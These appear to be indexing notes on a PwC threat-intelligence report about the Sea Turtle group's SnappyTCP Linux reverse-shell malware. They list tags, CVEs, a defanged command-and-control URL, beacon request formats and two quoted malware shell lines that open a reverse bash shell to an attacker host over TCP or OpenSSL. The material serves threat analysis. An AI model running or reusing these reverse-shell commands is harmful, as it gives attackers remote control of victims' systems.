The Tortoise and The Malwahare
by PwC Threat Intelligence
December 5, 2023
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/tortoise-and-malwahare.html
Notes |
---|
threat intelligence |
Sea Turtle |
Teal Kurma |
SnappyTCP |
reverse shell |
Linux malware |
Unix |
Turkey |
Marbled Dust |
Cosmic Wolf |
Europe |
Middle East |
non-governmental organizations (NGO) |
telecommunications |
command and control |
persistence |
TLS |
plaintext |
GitHub |
attacker stored code on GitHub/reused public examples https://github.com/jacksp7 |
DNS |
DNS hijacking |
CVE-2021-44228 |
CVE-2021-21974 |
CVE-2022-0847 |
upxa.sh |
dropper |
webshell |
hxxp://lo0[.]systemctl[.]network/sy.php. |
GET /sy.php HTTP/1.1\r\nHost: %s\r\nHostname: %s\r\n\r\n", host_name, host_name |
Greek CERT |
CERT |
X-Auth-43245-S-20 |
bash -c \\"./kdd_launch exec:‘bash -li’,pty,stderr,setsid,sigint,sane tcp:%s:%d 2>&1>/dev/null&\\" |
OpenSSL |
GET /ssl.php HTTP/1.1\\r\\nHost: %s\\r\\nHostname: %s\\r\\nConnection: close\\r\\n\\r\\n |
bash -c \\"./update exec:‘bash -li’,pty,stderr,setsid,sigint,sane OPENSSL:%s:%d,verify=0 2>&1>/dev/null&\\" |
GLIBC - GNU C library |
static linking |
cross compiling |
pthreads |
bash |
ESXi OpenSLP heap overflow |
passive DNS |
cyberespionage |
exfiltration |
victimology |
threat actor |
APT |